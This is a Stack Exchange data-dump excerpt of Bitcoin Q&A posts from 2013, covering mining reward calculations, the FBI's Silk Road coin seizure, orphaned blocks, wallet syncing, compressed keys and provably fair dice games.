  <row Id="13972" PostTypeId="2" ParentId="13964" CreationDate="2013-10-22T07:18:32.380" Score="8" Body="&lt;p&gt;Suppose your hashrate is H hashes per second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 86400 seconds in a day, so every day you will generate 86400H hashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every hash has roughly 1 in 2^32 chance to be a share, so you'll find 86400 H / 2^32 shares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every share has a chance of 1/D to be a block, so you'll find on average 86400 H / (2^32 D) blocks per day (currently D = 267731249).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every block gives a reward of B, so you'll get on average (86400 H B) / (2^32 D) per day. (Currently B = 25 bitcoins).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can take into account additional factors such as the exchange rate, power costs, difficulty going up over time (requires computing an integral), and so on.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2014-02-12T21:44:59.413" LastActivityDate="2014-02-12T21:44:59.413" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13973" PostTypeId="1" AcceptedAnswerId="13976" CreationDate="2013-10-22T07:57:44.130" Score="10" ViewCount="1067" Body="&lt;p&gt;&lt;a href=&quot;http://www.zerohedge.com/news/2013-10-08/bitcoin-1-0-fbi&quot;&gt;http://www.zerohedge.com/news/2013-10-08/bitcoin-1-0-fbi&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How did the FBI seize 26000 BTC? I thought that all wallets are supposed to be safe. Can you give the technical details?&lt;/p&gt;&#xA;" OwnerUserId="7197" LastActivityDate="2020-10-25T16:51:07.137" Title="How did the FBI &quot;seize 260000 BTC&quot;?" Tags="|security|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13974" PostTypeId="1" CreationDate="2013-10-22T08:21:34.820" Score="1" ViewCount="115" Body="&lt;p&gt;Am looking to collaborate with the owners of some of the online Bitcoin casinos. I am in the process of designing some behavioural experiments to test for biases in Bitcoin gamblers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will sign NDA agreements with whoever wants to talk to me about them and am also happy to go through a fiduciary to anonymise which site the data comes from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jonathan&lt;/p&gt;&#xA;" OwnerUserId="7193" LastActivityDate="2013-10-22T21:46:24.973" Title="Is there a Bitcoin casino that is willing to collaborate on some economics research?" Tags="|economic-theory|gambling|user-data|" AnswerCount="2" CommentCount="2" ClosedDate="2013-11-01T02:32:16.843" ContentLicense="CC BY-SA 3.0" />
  <row Id="13976" PostTypeId="2" ParentId="13973" CreationDate="2013-10-22T08:42:38.943" Score="4" Body="&lt;p&gt;To participate in Silk Road, users had to deposit funds with Silk Road. The FBI gained access to the private keys corresponding to these user balances. Thus, the FBI was able to transmit the funds to an FBI controlled wallet and confiscate the assets.&lt;/p&gt;&#xA;&lt;p&gt;Following up on the question how they might have gained access:&lt;br /&gt;&#xA;The software running on the Silk Road server must have had spending access to the Silk Road users' internal balances. Therefore, there must have been a mechanism to unlock the wallet (assuming an encrypted wallet was used). The passphrase would have been available to the program, concluding from the outcome, likely in the files on the server. As the server was probably running when it was seized, the FBI might have been able to access the files directly and thus gain access.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2020-10-25T16:51:07.137" LastActivityDate="2020-10-25T16:51:07.137" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="13977" PostTypeId="1" CreationDate="2013-10-22T13:05:18.873" Score="1" ViewCount="1860" Body="&lt;p&gt;Recently my Bitcoin-Qt client started crashing on start-up (running Mac OS X 10.7.4). I was able to stop the crashing by removing the &lt;code&gt;blocks&lt;/code&gt; directory and letting it re-download the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I don't really have time to re-download the forever bloating 13GB blockchain! So I tried importing my wallet.dat file into blockchain.info. Upon doing this, my total balance is now 1BTC short.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I inspect the transactions, nowhere did I send 1BTC from that wallet. And when checking in Bitcoin-Qt, the coin is there and verified.  Unfortunately I can't dump the private key for this coin as I get an error in Bitcoin-Qt (I think due to my blockchain being out of date). As I was hoping to then import this key manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Is there anyway around this? Ideally I just want to get my balance into a wallet like Multibit, so I don't have to worry about the &lt;code&gt;13GB+&lt;/code&gt; blockchain! Backup my wallet safely and know that my coin is secure and safe! In a crashing Bitcoin-Qt with a forever growing blockchain I don't feel too happy at the moment.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently available to me I just have my encrypted wallet, and it is currently imported to blockchain.info with the incorrect balance. Any suggestions? I feel like I tip toe around a lot with Bitcoin as I don't want to accidently delete anything I shouldn't!&lt;/p&gt;&#xA;" OwnerUserId="7215" LastEditorUserId="7215" LastEditDate="2013-10-22T13:16:18.507" LastActivityDate="2013-10-23T06:43:25.070" Title="BlockChain.Info Incorrect Balance" Tags="|bitcoin-core|blockchain.info|private-key|wallet.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13982" PostTypeId="2" ParentId="13326" CreationDate="2013-10-22T15:39:32.043" Score="3" Body="&lt;p&gt;If your settings are correct, try restarting Armory, and let it run for a few minutes. I had the same concern thinking that Armory was redownloading the blockchain, but it was actually reading from the harddrive (Listen to the harddrive).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After roughly 10 minutes, the block synchronisation went from 0% very quickly to 100%, then the status changed to &quot;Connected&quot;. Next Armory synced the transaction history for another 10 to 15 mins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess there is a user experience bug here. Armory should have had a user friendly message somewhere saying something like: &quot;Verifying local blockchain&quot;.&lt;/p&gt;&#xA;" OwnerUserId="7220" LastActivityDate="2013-10-22T15:39:32.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13984" PostTypeId="1" CreationDate="2013-10-22T18:37:01.910" Score="2" ViewCount="538" Body="&lt;p&gt;Alleged situation, due to X, country or geographical region Y falls off the internet map, but still has it's own network running. Blockchain splits and this situation continues for 6 months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After 6 months there is a country specific chain, and the rest of the chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens, how can it be folded back in, does it permanently cause a chain fork, has this been considered or does bitcoin already handle this situation?&lt;/p&gt;&#xA;" OwnerUserId="7157" LastEditorUserId="7157" LastEditDate="2013-10-22T19:23:39.827" LastActivityDate="2013-10-22T20:23:27.793" Title="Bitcoin network splits?" Tags="|blockchain|network|" AnswerCount="1" CommentCount="1" ClosedDate="2013-10-27T21:00:11.570" ContentLicense="CC BY-SA 3.0" />
  <row Id="13986" PostTypeId="2" ParentId="114" CreationDate="2013-10-22T19:07:28.407" Score="12" Body="&lt;p&gt;1 mBTC  = 0.001 BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 mBTC  = 100,000 Satoshis&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;1 uBTC  = 0.000001 BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 μBTC  = 100 Satoshis&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;1 Satoshi       = 0.00000001 BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;100 Satoshis    = 0.000001 BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1,000 Satoshis  = 0.00001 BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10,000 Satoshis = 0.0001 BTC&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;1 BTC = 100,000,000 Satoshis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 BTC = 1,000,000 μBTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 BTC = 1000 mBTC&lt;/p&gt;&#xA;" OwnerUserId="7222" LastEditorUserId="-1" LastEditDate="2017-10-16T00:37:14.283" LastActivityDate="2017-10-16T00:37:14.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13987" PostTypeId="1" AcceptedAnswerId="13989" CreationDate="2013-10-22T19:47:31.330" Score="17" ViewCount="10861" Body="&lt;p&gt;I've found a lot of information regarding orphan blocks, but I can't find an answer to this simple question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I send a payment to a user and my transaction happens to end up in an orphaned block, how will I recover my bitcoins?  When the block-chain reorganizes itself and orphans the original block, will the client automatically add back my funds?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never encountered an orphan block so I have no clue how the transactions are resolved.  Could someone please clarify what happens to the funds within these blocks?&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="5406" LastEditDate="2023-10-20T17:32:45.890" LastActivityDate="2023-10-20T17:32:45.890" Title="What happens when you send a transaction that ends up in an orphaned block. Is it recoverable?" Tags="|blockchain|stale-block|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13988" PostTypeId="2" ParentId="13984" CreationDate="2013-10-22T20:23:27.793" Score="3" Body="&lt;p&gt;When the network rejoins, the chain with more proof of work wins. Servers on the losing chain will switch to the winning chain. Transactions from the losing chain will be recovered and mined into new blocks on the winning chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are three types of transactions that can't be recovered:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Any transaction that claims a block reward cannot be recovered.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Any transaction that uses an input that is already consumed by a transaction in the winning chain cannot be recovered.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Any transaction that uses an input from a transaction that falls into either class above cannot be recovered.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-10-22T20:23:27.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13989" PostTypeId="2" ParentId="13987" CreationDate="2013-10-22T20:27:06.740" Score="15" Body="&lt;p&gt;Orphaned transactions are returned to the memory pool, they are never &quot;lost&quot;. If the TX did cease to exist from the mempools, it would just be as if they has never been sent, so again they wouldn't be lost. &lt;/p&gt;&#xA;" OwnerUserId="7173" LastEditorUserId="7173" LastEditDate="2013-10-22T20:35:40.737" LastActivityDate="2013-10-22T20:35:40.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13990" PostTypeId="2" ParentId="13955" CreationDate="2013-10-22T20:31:04.930" Score="2" Body="&lt;p&gt;The only logical explanations to me are thus:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Some technical limitation meant that the miners at the time (there weren't many) weren't searching some nonces as they should. Everybody was using the built in miner then, so it's probably easy to check if there's an old enough SVN around. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The miners at the time intentionally binned certain nonces to avoid hoarding all the coins, keeping the difficulty low. The difficulty was barely 1 at that point, so I don't think this is an unreasonable assumption.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7173" LastEditorUserId="7173" LastEditDate="2013-10-22T20:38:17.550" LastActivityDate="2013-10-22T20:38:17.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13991" PostTypeId="2" ParentId="13970" CreationDate="2013-10-22T20:33:03.347" Score="4" Body="&lt;p&gt;Yes, it will generate a random ECDSA private key in hexadecimal ASCII form. You don't really need to specifically check whether the key is greater than the maximum -- pretty much every implementation that will take an ECDSA key in hexadecimal ASCII knows how to handle a key above the maximum sanely. (By subtracting the max value from the key and then using that.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-10-22T20:33:03.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13992" PostTypeId="2" ParentId="13974" CreationDate="2013-10-22T20:56:32.937" Score="0" Body="&lt;p&gt;I highly doubt that this is a right place to ask such questions. In my opinion the best way is to contact Bitcoin casinos through feedback form on the site. Keep in mind that most probably they would be reluctant in accepting your offer, because I highly doubt that it would be useful for them, but some of their customers might be disappointed with this move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One additional plus might be if you are an established scientist (for working for established institution), in which case you might be able to generate some fuss and therefore create some advertisement through your research.&lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2013-10-22T20:56:32.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13993" PostTypeId="1" AcceptedAnswerId="14007" CreationDate="2013-10-22T21:22:08.737" Score="1" ViewCount="331" Body="&lt;p&gt;I've installed MultiBit version 0.5.14 and every time i start it, there is a synchronization happening with network:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Replaying blockchain from date &quot;Aug 3, 2013&quot;&#xA;Stopping Bitcoin network connection...&#xA;Synchronising with network...&#xA;Synchronising with network, 15,253 block(s) to download. Block date : &quot;Aug 4, 2013&quot;.&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My assumption is that it holds on to a block generated on 2013-08-03 as a genesis block, in order to save space. But then, it updates. Why not hold on to the updated block instead of initial one? Alternatively, if keeping transaction history is important, why not cache downloaded data locally and replay it from disk instead? I have a pretty fast connection, but there's so much internet traffic happening, that even for me it takes minutes to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Apparently, I was wrong. It does not replay transactions anymore on startup. I don't know what am I doing differently this time.&lt;/p&gt;&#xA;" OwnerUserId="30" LastEditorUserId="30" LastEditDate="2013-10-22T22:07:30.433" LastActivityDate="2013-10-23T11:21:35.460" Title="Why MultiBit replays transactions from internet on every startup?" Tags="|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13994" PostTypeId="2" ParentId="13974" CreationDate="2013-10-22T21:46:24.973" Score="1" Body="&lt;p&gt;A lot of gambling games are completely on-chain, you can analyze the blockchain and look for these transactions to get the data you're looking for. &lt;/p&gt;&#xA;" OwnerUserId="6024" LastActivityDate="2013-10-22T21:46:24.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13995" PostTypeId="1" CreationDate="2013-10-22T22:51:07.840" Score="2" ViewCount="2321" Body="&lt;p&gt;I am new and using multibit 0.5.14. I have received 2 bitcoins in one transaction, and 0.005 in another. However, after over an hour they are still not spendable. I checked the status and it says &quot;seen by 4 peers Pending/Unconfirmed. When I check on blockchain.info, there are 17 confirmations for that block. How do I know if something has gone wrong? Is there something else I should do to make my bitcoin 'spendable' or do i just have to wait it out longer?&lt;/p&gt;&#xA;" OwnerUserId="7224" LastEditorUserId="5406" LastEditDate="2013-10-23T09:11:53.830" LastActivityDate="2014-01-29T13:15:23.490" Title="Received bitcoin but can't send" Tags="|multibit|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13996" PostTypeId="2" ParentId="13890" CreationDate="2013-10-22T23:06:24.603" Score="6" Body="&lt;p&gt;On the deflationary death-spiral part:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin wiki has a &lt;a href=&quot;https://en.bitcoin.it/wiki/Deflationary_spiral&quot;&gt;good discussion of deflationary spiral&lt;/a&gt;, so that's a good place to get a counter point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to make some of my own (amateur) observations:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Gold is currently not the most popular money used in the world not because gold is &quot;bad&quot; money, but because:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) Laws make it more difficult/expensive to use for day-to-day transactions then nationals currencies (e.g. legal tender laws require capital gains tax to be collected at the time of purchases in gold), and; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) Banks are incentivised to use fiat through the fractional reserve banking system. Why hold gold for customers when you can hold national currency and generate an order of magnitude more interest by loaning out 10x the deposit amount that is guaranteed by the central bank?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To put it another way, the absence of gold used today for your average transactions is not because citizens fear deflationary death-spirals, but because governments have purposefully made it less beneficial to use gold.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin has been around long enough that we can at least get a sense whether falling prices has been a disaster. As far as I can tell that is not the case. All the major bitcoin  merchant services like BitPay, CoinJar and Coinbase record ever increasing purchases/sales made through the website. Yes, more people are using bitcoin, but one person spending money in the bitcoin economy is counter to the death-spiral theory. If the theory is correct, no-one should be spending bitcoins. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The deflationary death-spiral, when you think about it, describes something that in layman terms sounds pretty awesome. Theoretically prices will keep dropping to $0, meaning at some point, everyone on earth will be able to buy everything and any service for 0. Sure, the theory states that e.g. everyone will lose their job, but who cares when everything is free! At that point you don't need a job.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When I've heard the (in)famous cases of deflationary death-spirals mentioned, they seem to always conveniently ignore the broader context. For instance, the Great Depression happened at a time when the government purposefully reduced the money supply, i.e. it wasn't like the money supply was stable or predictable (like gold/bitcoin). In other words, I'm yet to hear of an example of &quot;bad&quot; deflation that &quot;just happened&quot; during a normal period of dropping prices. There's always something else going on in the economy.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5307" LastActivityDate="2013-10-22T23:06:24.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13999" PostTypeId="1" AcceptedAnswerId="14018" CreationDate="2013-10-23T02:31:11.987" Score="3" ViewCount="868" Body="&lt;p&gt;Let's assume someone wants to make their own version of Satoshi Dice.  Satoshi Dice states that the winning output of the game is determined in the following manner.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The lucky number used to determine the winner of games is simple. It&#xA;  is simply the first bytes of hmac_sha512(secret,txid:out_idx). That&#xA;  would be the secret string as the key and the transaction ID of your&#xA;  bet transaction as the data.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've done a little bit of research, and most provably fair gaming sites use a secret key for their result hashing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, what is wrong with using the block hash as the the key for the hashing algorithm when determining the win results, instead of a secret key that's periodically updated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot see how this method could benefit the player since he has no way of knowing what the hash of the block will be until after they've submitted the transaction and the containing block is confirmed at least once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the exploit that prevents sites from using such a simple means of calculating the win/loss conditions?&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-10-23T02:39:00.347" LastActivityDate="2013-10-23T17:56:52.220" Title="What is wrong with using hmac_sha512(block_hash, trans_id) as the resulting hash for a provably fair game?" Tags="|hash|gambling|provably-fair|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14000" PostTypeId="2" ParentId="13675" CreationDate="2013-10-23T02:48:37.193" Score="1" Body="&lt;p&gt;I'm still loading the blockchain into my database, but are you starting Abe with the --config option pointing to your configuration file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See line 49 in &lt;a href=&quot;https://github.com/bitcoin-abe/bitcoin-abe/blob/master/README-MYSQL.txt&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin-abe/bitcoin-abe/blob/master/README-MYSQL.txt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7227" LastActivityDate="2013-10-23T02:48:37.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14002" PostTypeId="1" AcceptedAnswerId="14005" CreationDate="2013-10-23T06:12:56.730" Score="2" ViewCount="322" Body="&lt;p&gt;I have an address representing a compressed public address, which bitcoind is recognizing as &quot;ismine&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;compressed_address = n2HCyN8GWPuc8CrwbiiBASCS7iWku3Ke8S&#xA;compressed_key     = 03c6debc01d8cf1c7eae826b8acb0ba6ff5d37b8d840b2bfc5244cdebab83a6781&#xA;&amp;gt; bitcoind  -testnet validateaddress n2HCyN8GWPuc8CrwbiiBASCS7iWku3Ke8S&#xA;{&#xA;    &quot;isvalid&quot; : true,&#xA;    &quot;address&quot; : &quot;n2HCyN8GWPuc8CrwbiiBASCS7iWku3Ke8S&quot;,&#xA;    &quot;ismine&quot; : true,&#xA;    &quot;isscript&quot; : false,&#xA;    &quot;pubkey&quot; : &quot;03c6debc01d8cf1c7eae826b8acb0ba6ff5d37b8d840b2bfc5244cdebab83a6781&quot;,&#xA;    &quot;iscompressed&quot; : true,&#xA;    &quot;account&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I extract the y value from the compressed public keys, and create an address from that (with the same function I wrote for compressed keys):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;decompressed_key     = 04c6debc01d8cf1c7eae826b8acb0ba6ff5d37b8d840b2bfc5244cdebab83a6781a8b69757635c64ce32eed71115b68174d7241c716b1f76d317c6440635d8bc01&#xA;decompressed_address = mfjsW5m8CL5EazGBvjutZ4dgJwd6AjHM11&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The address is valid since if satisfies the curve equation... x, y values are as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x = 89951481645973345162937095289811840492311042685266238084455665220379660150657&#xA;y = 76311169247456070080081989221882104208438035444189442719121845261776897752065&#xA;y * y         = 107822876231389859288843816887520488062823501023166616425651229464214081607136&#xA;x * x * x - 7 = 107822876231389859288843816887520488062823501023166616425651229464214081607136&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, bitcoind does not recognize the decompressed address as &quot;ismine&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; bitcoind  -testnet validateaddress mfjsW5m8CL5EazGBvjutZ4dgJwd6AjHM11&#xA;{&#xA;    &quot;isvalid&quot; : true,&#xA;    &quot;address&quot; : &quot;mfjsW5m8CL5EazGBvjutZ4dgJwd6AjHM11&quot;,&#xA;    &quot;ismine&quot; : false&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't understand... the only difference between the two is that one key is compressed to save 32 bytes... the private key should be the same!  Shouldn't they be interchangeable? Does this mean I won't be able to spend to spend coins send to the de/uncompressed address? &lt;/p&gt;&#xA;" OwnerUserId="7229" LastEditorUserId="7229" LastEditDate="2013-10-23T06:42:11.443" LastActivityDate="2013-10-23T09:48:07.070" Title="Why does bitcoind not recognize the uncompressed version of my address?" Tags="|bitcoind|address|public-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14003" PostTypeId="2" ParentId="13977" CreationDate="2013-10-23T06:43:25.070" Score="1" Body="&lt;p&gt;&lt;strong&gt;As long as you keep your private/public keypair, you aren't in danger of actually losing the funds.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is most likely due to &quot;missing inputs&quot; for your current wallet. In order to spend bitcoins, your wallet must reference the inputs that gave your wallet the funds in the first place. The function of the blockchain is to keep track of these inputs from creation to their current wallet. Without the full blockchain, qt will not be able to reference inputs for spending, and thus won't show such inputs as existing in your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download the blockchain. If you can't/won't sweep you private key into a new wallet that has access to the full blockchain. This will also serve to reset the oldest input in your new wallet.&lt;/p&gt;&#xA;" OwnerUserId="7230" LastActivityDate="2013-10-23T06:43:25.070" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14004" PostTypeId="2" ParentId="13505" CreationDate="2013-10-23T09:07:36.733" Score="7" Body="&lt;p&gt;I had the same problem and for me it worked to set the TERM variable to nothing directly before you execute cgminer. Like this in the cmd shell:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;set TERM=&lt;br&gt;&#xA;cgminer-nogpu.exe ........&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set it to &quot;&quot; (meaning nothing) in the system settings it will use the default value &quot;c:\windows\system32\cmd.exe&quot;. You can check the the variable in the shell with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;echo %TERM%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this will help you :)&lt;/p&gt;&#xA;" OwnerUserId="7233" LastActivityDate="2013-10-23T09:07:36.733" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14005" PostTypeId="2" ParentId="14002" CreationDate="2013-10-23T09:48:07.070" Score="2" Body="&lt;p&gt;Compressed and uncompressed keys are treated completely separately. Funds sent to the compressed point address will not be available to a client that has the uncompressed key in their wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is to say, although &lt;code&gt;mfjsW5m8CL5EazGBvjutZ4dgJwd6AjHM11&lt;/code&gt; and &lt;code&gt;n2HCyN8GWPuc8CrwbiiBASCS7iWku3Ke8S&lt;/code&gt; have the same private key, they are treated as completely separate to the Bitcoin network. Ideally they would be treated the same, but compressed ECDSA keys just weren't considered by Satoshi originally, it's only a more recent addition (sipa's, probably) to the client. &lt;/p&gt;&#xA;" OwnerUserId="7234" LastActivityDate="2013-10-23T09:48:07.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14006" PostTypeId="1" CreationDate="2013-10-23T10:50:02.267" Score="2" ViewCount="142" Body="&lt;p&gt;I'm new to bitcoin and was wondering: As far as I know, bitcoin relies that the majority of the users is to be trusted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it not a problem then if someone starts up billions of clients, eg. a data center owner? Seemingly a single entity could take over the whole network. What is the bitcoin feature that is the counter-measure here?&lt;/p&gt;&#xA;" OwnerUserId="2203" LastActivityDate="2013-10-23T18:39:11.857" Title="How does the architecture prevent someone taking over by running a several billion clients?" Tags="|client|security|protocol|trust|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14007" PostTypeId="2" ParentId="13993" CreationDate="2013-10-23T11:21:35.460" Score="1" Body="&lt;p&gt;MultiBit remembers the last blockheight that it saw in the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are various times where, if it sees discrepancies across the wallets (or compared to the Bitcoin network) it goes back in time to get the transactions again. This is is to prevent inconsistencies and to deal with forks etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It goes back in time using a checkpoints file, which is included in the installer. As 0.5.14 is a couple of months old now it goes back a bit further in time than is ideal. I update the checkpoints file in every build.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-10-23T11:21:35.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14008" PostTypeId="1" CreationDate="2013-10-23T11:30:52.147" Score="0" ViewCount="371" Body="&lt;p&gt;Left wallet qt alone for some months, then started it up and during sync coins disappeared?&lt;/p&gt;&#xA;" OwnerUserId="7236" LastActivityDate="2013-11-12T16:05:18.447" Title="Hacked or Cracked i lost coins" Tags="|blockchain|wallet|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14009" PostTypeId="2" ParentId="13999" CreationDate="2013-10-23T11:35:34.600" Score="0" Body="&lt;p&gt;I was thinking about this question last night, and I think I may have discerned the problem with using the block hash as the key to SHA operation.  I'm answering my own question so that some of the more knowledgeable experts can either verify my assumptions or correct me if this is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with this method relies with orphaned blocks and the subsequent transactions that are added back into the mempool for reprocessing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, if player X sends a few coins to the gaming engine and it responds in the following block with a micro, loss condition payment, my payment, and the players payment, could be contained in child  blocks of a small orphan chain.  If the block containing the transaction for the game round becomes orphaned, all transactions within the orphan AND it's child blocks are posted back to the mempool to be reprocessed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the block of the original players transaction is rehashed, the win/loss conditions could be different.  This would be a big problem if the player originally lost, but within the new block hash, they win.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically, one could rewrite their engine so that it would double-check whether a previous block had been orphaned.  For each transaction in an orphan block, re-check the win/loss state.  If, and only if, the player had previously lost, but has now one with the new hash, a second winning payment could be posted to the primary block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't believe this is exploitable but this would be a big headache.  Developing such a system would be easy, but supporting the user's could be annoying if orphaning ever became prevalent.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, as Ryan pointed out, this also means that you have to wait one block before you can calculate the win/loss state.  This would be a rather annoying feature for a game that is intended to be fast, such as Dice.&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2013-10-23T11:35:34.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
